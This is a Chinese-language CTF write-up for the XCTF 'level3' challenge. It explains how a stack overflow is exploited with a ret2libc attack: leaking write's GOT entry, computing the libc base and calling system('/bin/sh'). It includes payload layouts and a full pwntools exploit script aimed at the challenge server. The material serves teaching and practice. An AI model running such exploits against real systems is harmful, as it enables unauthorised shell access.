XCTF level3 write up

 nc了一下平台给的端口号,大概这个样子。

在用ida pro看一下源文件的样子。

 寻找一下溢出点。

 很明显的栈溢出漏洞,但是没有system函数和/bin/sh字符串了 这里有一个新的模式,泄露函数got表中的地址获取到库中某个函数的真正加载地址,通过偏移找出函数的库,通过然后找出其他函数的真正加载地址,包括system函数也包括/bin/sh字符串

攻击思路:

libc中的函数的相对地址是固定的,要想获取到system函数的地址,可以通过write()函数进行offset计算。1. 首先利用write()函数计算出write()函数的真实地址;2. 利用相对offset计算出system和"/bin/sh"的真实地址。
在vulnerable_function()中,先调用了write()函数,然后调用read()函数。write()函数返回到vulnerable_function()后,再进行read()函数调用,这样我们就可以进行二次攻击。  - 第一次攻击我们利用栈溢出将write()函数在got表中的真实地址leak出来,然后减去libc中的offset,就可以得到libc的base address。- 第二次攻击重新进入main函数,再次通过栈溢出,利用system函数进行getshell。

buf 的大小为0x88。

第一次使用的payload构成如下:
payload = 'A'\*0x88 + p32(0xdeadbeef) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0xdeadbeef)

利用第一次攻击,就可以获取到libc的基地址。然后进行第二次攻击,使用的payload构成为:
payload0 = 'A'\*0x88 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)

 0x15902b是"/bin/sh"在libc中的地址,可以使用libcsearch进行获取,也可以使用 strings -a -t x libc_32.so.6 | grep "/bin/sh" 进行获取。

EXP:

 1 from pwn import *
 2 
 3 from LibcSearcher import *
 4 
 5 io = remote("111.198.29.45",37205)
 6 
 7 elf = ELF("./level3")
 8 #获取函数
 9 
10 read_plt = elf.plt["read"]
11 
12 write_plt = elf.plt["write"]
13 
14 write_got = elf.got["write"]
15 
16 main_addr = elf.symbols["main"]
17 
18 #接收数据
19 
20 io.recv()
21 
22 #char[88] ebp  write函数地址  write函数返回地址(返回到main函数)  write函数参数一(1)  write函数参数二(write_got地址)  write函数参数三(写4字节)
23 
24 payload  = "a" * 0x88
25 
26 payload += p32(0xdeadbeef) 
27 
28 payload += p32(write_plt)
29 
30 payload += p32(main_addr)
31 
32 payload += p32(1)
33 
34 payload += p32(write_got)    
35 
36 payload += p32(4)
37 
38 
39 
40 io.sendline(payload)
41 
42 #获取write在got中的地址
43 
44 write_leak = u32(io.recv()[:4])
45 
46 print "write_leak ==> " + hex(write_leak)
47 
48 #计算lib库加载基址
49 
50 libc = LibcSearcher('write', write_leak)
51 
52 libc_base = write_leak - libc.dump('write')    
53 
54 print "libc_base ==> " + hex(libc_base)
55 
56 #计算system的地址
57 
58 sys_addr = libc_base + libc.dump("system")    
59 
60 print "sys_addr ==> " + hex(sys_addr)
61 #计算字符串 /bin/sh 的地址。0x15902b为偏移,通过命令:strings -a -t x libc_32.so.6 | grep "/bin/sh" 获取
62 
63 bin_sh_addr = libc_base + libc.dump("str_bin_sh")
64 
65 print "bin_sh_addr ==> " + hex(bin_sh_addr)
66 
67 
68 
69 io.recv()
70 
71 #char[88] ebp system system函数的返回地址 system函数的参数(bin_sh_addr)
72 
73 payload2  = "a" * 0x88 + p32(0xdeadbeef)
74 
75 payload2 += p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
76 
77 
78 
79 io.sendline(payload2)

喜提flag。

猜你喜欢

转载自www.cnblogs.com/mzstar/p/11716444.html
今日推荐